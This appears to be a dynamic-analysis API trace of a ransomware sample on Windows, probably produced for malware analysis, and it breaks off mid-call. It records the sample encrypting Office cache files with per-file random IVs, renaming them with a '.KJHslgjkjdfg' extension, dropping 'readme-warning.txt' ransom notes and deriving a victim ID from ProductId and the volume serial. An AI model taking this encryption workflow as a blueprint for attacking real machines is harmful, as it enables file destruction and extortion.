[0164.510] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x91a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.623] SetEndOfFile (hFile=0xf0) returned 1 [0164.626] GetProcessHeap () returned 0x2ef0000 [0164.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0164.626] GetProcessHeap () returned 0x2ef0000 [0164.626] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0164.626] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.kjhslgjkjdfg")) returned 1 [0164.627] CloseHandle (hObject=0xf0) returned 1 [0164.627] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0164.627] GetProcessHeap () returned 0x2ef0000 [0164.627] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0164.627] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0164.627] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c898, pdwDataLen=0x4dff0a8) returned 1 [0164.627] CryptDestroyKey (hKey=0x2f18248) returned 1 [0164.627] GetProcessHeap () returned 0x2ef0000 [0164.627] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0164.627] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0164.627] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8) returned 1 [0164.627] CryptDestroyKey (hKey=0x2f18248) returned 1 [0164.627] GetProcessHeap () returned 0x2ef0000 [0164.628] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3e278 [0164.628] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0164.628] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3e278, pdwDataLen=0x4dff0a8 | out: pbData=0x2f3e278, pdwDataLen=0x4dff0a8) returned 1 [0164.628] CryptDestroyKey (hKey=0x2f18248) returned 1 [0164.628] GetProcessHeap () returned 0x2ef0000 [0164.628] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0164.628] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0164.628] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfec88 | out: pbData=0x2f0c928, pdwDataLen=0x4dfec88) returned 1 [0164.628] CryptDestroyKey (hKey=0x2f18248) returned 1 [0164.628] GetProcessHeap () returned 0x2ef0000 [0164.628] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0164.628] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0164.628] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfec88 | out: pbData=0x2f11778, pdwDataLen=0x4dfec88) returned 1 [0164.628] CryptDestroyKey (hKey=0x2f18248) returned 1 [0164.628] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfec84 | out: phkResult=0x4dfec84*=0xf0) returned 0x0 [0164.628] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfec90, lpcbData=0x4dfec8c*=0x400 | out: lpType=0x0, lpData=0x4dfec90*=0x30, lpcbData=0x4dfec8c*=0x18) returned 0x0 [0164.628] RegCloseKey (hKey=0xf0) returned 0x0 [0164.628] GetProcessHeap () returned 0x2ef0000 [0164.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0164.629] GetProcessHeap () returned 0x2ef0000 [0164.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0164.629] GetProcessHeap () returned 0x2ef0000 [0164.629] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0164.629] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18248) returned 1 [0164.629] CryptDecrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfea5c | out: pbData=0x2f11778, pdwDataLen=0x4dfea5c) returned 1 [0164.629] CryptDestroyKey (hKey=0x2f18248) returned 1 [0164.629] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.629] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.629] GetProcessHeap () returned 0x2ef0000 [0164.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0164.629] wsprintfA (in: param_1=0x4dfeca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.629] wsprintfA (in: param_1=0x4dff0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.629] GetProcessHeap () returned 0x2ef0000 [0164.629] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3e640 [0164.629] wsprintfW (in: param_1=0x4dfe084, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\readme-warning.txt") returned 94 [0164.629] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.632] WriteFile (in: hFile=0xf0, lpBuffer=0x2f3e640*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe080, lpOverlapped=0x0 | out: lpBuffer=0x2f3e640*, lpNumberOfBytesWritten=0x4dfe080*=0x3b3, lpOverlapped=0x0) returned 1 [0164.633] CloseHandle (hObject=0xf0) returned 1 [0164.633] GetProcessHeap () returned 0x2ef0000 [0164.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0164.633] GetProcessHeap () returned 0x2ef0000 [0164.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e640 | out: hHeap=0x2ef0000) returned 1 [0164.633] GetProcessHeap () returned 0x2ef0000 [0164.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0164.633] GetProcessHeap () returned 0x2ef0000 [0164.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0164.633] FindClose (in: hFindFile=0x2f18208 | out: hFindFile=0x2f18208) returned 1 [0164.633] GetProcessHeap () returned 0x2ef0000 [0164.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e70 | out: hHeap=0x2ef0000) returned 1 [0164.633] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0164.633] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0164.634] GetProcessHeap () returned 0x2ef0000 [0164.634] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0164.634] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0164.634] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0164.634] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.634] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.634] GetProcessHeap () returned 0x2ef0000 [0164.634] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0164.634] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0164.634] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.634] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0164.637] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0164.637] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0164.637] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0164.637] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0164.637] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0164.638] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.638] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.638] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.638] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0xd4200, lpOverlapped=0x0) returned 1 [0164.650] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xd4200, dwBufLen=0xd4200 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xd4200) returned 1 [0164.660] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.660] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0xd4200, lpOverlapped=0x0) returned 1 [0164.661] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.661] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd42d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.661] SetEndOfFile (hFile=0x124) returned 1 [0164.664] GetProcessHeap () returned 0x2ef0000 [0164.664] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0164.664] GetProcessHeap () returned 0x2ef0000 [0164.664] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0164.664] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.kjhslgjkjdfg")) returned 1 [0164.665] CloseHandle (hObject=0x124) returned 1 [0164.674] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0164.674] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0164.674] GetProcessHeap () returned 0x2ef0000 [0164.674] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0164.675] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0164.675] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0164.675] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xd, lpOverlapped=0x0) returned 1 [0164.678] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.678] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.678] GetProcessHeap () returned 0x2ef0000 [0164.678] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0164.678] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0164.678] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.678] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0164.678] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0164.679] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0164.679] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0164.679] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0164.679] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0164.679] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.679] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.679] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.679] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x333, lpOverlapped=0x0) returned 1 [0164.679] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x340, dwBufLen=0x340 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x340) returned 1 [0164.679] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.679] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x340, lpOverlapped=0x0) returned 1 [0164.679] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.679] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.679] SetEndOfFile (hFile=0x124) returned 1 [0164.682] GetProcessHeap () returned 0x2ef0000 [0164.682] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0164.682] GetProcessHeap () returned 0x2ef0000 [0164.682] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0164.682] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.kjhslgjkjdfg")) returned 1 [0164.688] CloseHandle (hObject=0x124) returned 1 [0164.688] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0164.688] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0164.688] GetProcessHeap () returned 0x2ef0000 [0164.688] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0164.688] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0164.688] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0164.689] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.689] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.689] GetProcessHeap () returned 0x2ef0000 [0164.689] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0164.689] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff4e0*=0x30) returned 1 [0164.689] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.689] WriteFile (in: hFile=0x124, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff4f8*=0x30, lpOverlapped=0x0) returned 1 [0164.695] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0164.695] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0164.696] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0164.696] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0164.696] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0164.696] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.696] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.696] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.696] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa40, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0xa40, lpOverlapped=0x0) returned 1 [0164.696] CryptEncrypt (in: 